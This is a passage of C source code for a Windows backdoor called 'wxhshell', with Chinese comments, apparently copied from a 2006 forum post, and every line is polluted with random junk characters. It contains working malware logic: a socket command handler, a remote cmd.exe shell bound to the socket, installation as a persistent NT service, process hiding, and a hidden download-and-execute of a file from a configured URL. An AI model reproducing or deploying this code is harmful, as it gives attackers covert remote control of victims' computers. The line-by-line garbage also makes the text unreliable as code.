  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IF-y/]  
  } SH#*Lc   
  else { -(>Ch>O  
,,+4d :8$  
    switch(cmd[0]) { 8ICV"8(  
  -|f0;Fl  
  // 帮助 /AyxkXq  
  case '?': { Y/"t!   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &CSy>7&q  
    break; 3"< 0_3?W  
  } "^!y>]j#A  
  // 安装 *,%$l+\h  
  case 'i': { u`.)O2)xU  
    if(Install()) uv<_.Jq]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zx,9x*g  
    else So8 Dwz?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T:zM]%Xh  
    break; :=TIq  
    } Pr(@&:v:  
  // 卸载 { PJ>gX$  
  case 'r': { Gk/cP`  
    if(Uninstall()) HZ2W`wo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {:#nrD"  
    else UV0[S8A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,|}mo+rb-  
    break; V=% ;5/  
    } __FEdO  
  // 显示 wxhshell 所在路径 YYPJ (o\  
  case 'p': { -zn_d]NV  
    char svExeFile[MAX_PATH]; KX 7 fgC  
    strcpy(svExeFile,"\n\r"); B2P@9u|9  
      strcat(svExeFile,ExeFile); CaO-aL  
        send(wsh,svExeFile,strlen(svExeFile),0); P9f`<o  
    break; 2<y9xvp  
    } |#M|"7;2z  
  // 重启 a'/i/@h  
  case 'b': { u%+k\/Scp.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hjM?D`5x  
    if(Boot(REBOOT)) r 1jt~0&K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l"1D' Hk  
    else { Ox&G  [  
    closesocket(wsh); D>@NYqMF  
    ExitThread(0); 5oSp/M  
    } FKu8R%9xn%  
    break; ed}#S~4q  
    } Y&8,f|{R  
  // 关机 GGr82)E  
  case 'd': { 2 \}J*0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %lWOW2~R  
    if(Boot(SHUTDOWN)) # Q,EL73;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SY[3O  
    else { LX oJw$C  
    closesocket(wsh); x.wDA3ys  
    ExitThread(0); 7`&ISRU4  
    } |:JT+a1  
    break; Xa.8-a"hz  
    } {, +c  
  // 获取shell Ez0zk9  
  case 's': { M}#DX=NZc  
    CmdShell(wsh); H?8'(  
    closesocket(wsh); (.V),NKG  
    ExitThread(0); dXQC}JA  
    break; 9A} *  
  } #Xox2{~  
  // 退出 FE&:?  
  case 'x': { \yFUQq:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wW1\{<hgr  
    CloseIt(wsh); 4C%pKV  
    break; <Nqbp  
    } {.jW"0U  
  // 离开 Y$\|rD^f  
  case 'q': { matna  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c>{QTI:]  
    closesocket(wsh); '!8-/nlv1  
    WSACleanup(); 9jqsEd-SW  
    exit(1); @v2ko5  
    break; Wu'qpJ  
        } _W_< bI34  
  } Cp"7R&s  
  } z|D*ymz*EY  
OM&GypP6&  
  // 提示信息 4d4+%5GE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ] 2qKc  
} M?%x= q\<  
  } 9g5h~ Ma  
? \,^>4x?  
  return; usD@4!PoA  
} -Z$u[L [c  
lYJSg70P  
// shell模块句柄 oq+w2yR  
int CmdShell(SOCKET sock) 3cL iZ%6^  
{ adX"Yg!`{c  
STARTUPINFO si; ,:A;4  
ZeroMemory(&si,sizeof(si)); S* O. ?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9tPRQ M7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !Vw1w1  
PROCESS_INFORMATION ProcessInfo; z_fjmqa?  
char cmdline[]="cmd"; -HQbvXAS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {D Q%fneN4  
  return 0; s{yw1:  
} %}VH5s9\  
D4[t^G;J  
// 自身启动模式 ~Q]5g7k=&  
int StartFromService(void) aYb97}kI  
{ DJ:'<"zH7  
typedef struct poxF`a6e+  
{ G_S>{<[  
  DWORD ExitStatus; G#7(6:=;,`  
  DWORD PebBaseAddress; ud$-A  
  DWORD AffinityMask; E6-*2U)k+  
  DWORD BasePriority; M lR~`B}m  
  ULONG UniqueProcessId; /z*Z+OT2  
  ULONG InheritedFromUniqueProcessId; O.(2  
}   PROCESS_BASIC_INFORMATION; +K`A2&F9  
}QE*-GVv]  
PROCNTQSIP NtQueryInformationProcess; K8&;B)VT>  
U*$xR<8v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @i;)`k5b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?e<2'\5v  
}ARA K^%  
  HANDLE             hProcess; `{G&i\"n  
  PROCESS_BASIC_INFORMATION pbi; >9dD7FH  
! I0xq"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7}UG&t{  
  if(NULL == hInst ) return 0; JN|6+.GG  
1d<Uwb>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aY>v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R; c9)>8L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kygw}|, N  
g=56|G7n  
  if (!NtQueryInformationProcess) return 0; 96(Mu% l  
6^ [ 4.D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |2u=3#Jp  
  if(!hProcess) return 0; ZhA_d#qH  
sjg`4^!wDD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; | :-i[G?n  
F`QViZ'n>#  
  CloseHandle(hProcess); nOGTeKjEJ  
!{t|z=Qg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #;j:;LRU  
if(hProcess==NULL) return 0; WI/tWj0  
Ec@n<KK#  
HMODULE hMod; 2+ cs^M3  
char procName[255]; P.,U>m  
unsigned long cbNeeded; 6p)AQTh>  
Q,&Li+u|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MxIa,M <  
-{xk&EB^$5  
  CloseHandle(hProcess); Nhjq.&  
bItcF$#!!!  
if(strstr(procName,"services")) return 1; // 以服务启动 VWvSt C  
>Q\Kc=Q|  
  return 0; // 注册表启动 {7OHEArv  
} c0gVW~I1  
n|~y >w4  
// 主模块 :-46"bP.  
int StartWxhshell(LPSTR lpCmdLine) 67II9\/  
{ + O.-o/  
  SOCKET wsl; $s/E } X  
BOOL val=TRUE; >5t%_/yeB  
  int port=0; 64zOEjra  
  struct sockaddr_in door; q*l4h u%3  
tg/UtE`V  
  if(wscfg.ws_autoins) Install(); TJO$r6&  
l4oyF|oJTH  
port=atoi(lpCmdLine); Icnhet4  
l}))vf=i  
if(port<=0) port=wscfg.ws_port; qUkM No3  
VI&x1C  
  WSADATA data; FvxM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _s=H|#l  
_F;v3|`D@<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'BjTo*TB]Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,twx4r^  
  door.sin_family = AF_INET; esqmj#G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fz%;_%j  
  door.sin_port = htons(port); /*mF:40M;  
hw^&{x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uw}Rr7q  
closesocket(wsl); aixX/se  
return 1; *9aJZWf>V  
} $v|W2k  
o8bdL<  
  if(listen(wsl,2) == INVALID_SOCKET) { >X*tMhcb  
closesocket(wsl); 7MKX`S  
return 1; hzqJ!  
} TN2Ln?[xU  
  Wxhshell(wsl); ?nd: :O  
  WSACleanup(); hy5[ L`B  
4+RR`I8$Ge  
return 0; @%]A,\  
4I$Y(E}  
} u5(8k_7  
<xOX+D  
// 以NT服务方式启动 -zR<m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +WH\,E  
{ &]nx^C8V;  
DWORD   status = 0; _v,0"_"  
  DWORD   specificError = 0xfffffff; hJb2y`,q  
z%82Vt!a5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7z b^Z]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b dgkA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L8VOiK=,  
  serviceStatus.dwWin32ExitCode     = 0; ;o_F<68QP  
  serviceStatus.dwServiceSpecificExitCode = 0; $5R2QNg n  
  serviceStatus.dwCheckPoint       = 0; ZEP?~zV\A  
  serviceStatus.dwWaitHint       = 0; uzy5rA==  
9P?0D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pM?;QG;jA  
  if (hServiceStatusHandle==0) return; b2m={q(s  
Zse&{  
status = GetLastError(); $9)os7H7  
  if (status!=NO_ERROR) jf~](TK  
{ k?+ 7%A]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b(iF0U>&  
    serviceStatus.dwCheckPoint       = 0; 'NEl`v*<P  
    serviceStatus.dwWaitHint       = 0; u,sR2&Fe  
    serviceStatus.dwWin32ExitCode     = status; cgg6E O(  
    serviceStatus.dwServiceSpecificExitCode = specificError; vrnvv?HPrR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YV O$`W^N  
    return; j9p6 rD  
  } #De>EQ%  
No^gKh24  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PsC")JS  
  serviceStatus.dwCheckPoint       = 0; p}1i[//S  
  serviceStatus.dwWaitHint       = 0; p['RV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RY , <*  
} .H" ?& Mf  
s^h@b!'7  
// 处理NT服务事件,比如:启动、停止 xE/?ncTK^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "rv~I_zl  
{ aZOn01v;!&  
switch(fdwControl) Pq;OShU_  
{ 7o E0;'  
case SERVICE_CONTROL_STOP: 2}hJe+#v  
  serviceStatus.dwWin32ExitCode = 0; A3jxjQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pe`(9&iT.  
  serviceStatus.dwCheckPoint   = 0; D)d]o&  
  serviceStatus.dwWaitHint     = 0; sg2;"E@  
  { i}-uK,^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AI|vL4*Xd  
  } @(t3<g  
  return; =+zDE0Qs  
case SERVICE_CONTROL_PAUSE: smP4KC"I(d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *_(X$qfoW  
  break; Nu5|tf9%A  
case SERVICE_CONTROL_CONTINUE: iQ'*QbP'Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pRd.KY -<  
  break; yPN'@{ 5#  
case SERVICE_CONTROL_INTERROGATE: I652Fcj  
  break; ^/f~\ #R  
}; )GD7 rsC`<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &d_^k.%y  
}  WR;1  
HK;NR.D  
// 标准应用程序主函数 K"#$",}=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [h/T IGE\  
{  ;Shu  
lA^1}  
// 获取操作系统版本 _D '(R  
OsIsNt=GetOsVer(); [&)]-2w2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OUX7 *_  
uYh!04u  
  // 从命令行安装 02;jeZ#z  
  if(strpbrk(lpCmdLine,"iI")) Install(); /0s1;?  
3$|/7(M&DA  
  // 下载执行文件 Pvxb6\G&d  
if(wscfg.ws_downexe) { e &6%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TZn 15-O  
  WinExec(wscfg.ws_filenam,SW_HIDE); %w`d  
} m'o dVZ7  
^_2c\mw_I  
if(!OsIsNt) { CMt<oT6.?  
// 如果时win9x,隐藏进程并且设置为注册表启动 $O"ss>8Se  
HideProc(); /9`4f"  
StartWxhshell(lpCmdLine); "Xq_N4  
} }w0pi  
else c;l!i-  
  if(StartFromService()) XiUq#84Q  
  // 以服务方式启动 UP~28%>X  
  StartServiceCtrlDispatcher(DispatchTable); `m,4#P-kj  
else (MwRe?Ih  
  // 普通方式启动 ,}oAc  
  StartWxhshell(lpCmdLine); ;Afz`Se1@  
p~D}Iyww1_  
return 0; djd/QAfSC  
}
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只看该作者 1 发表于: 2006-10-10
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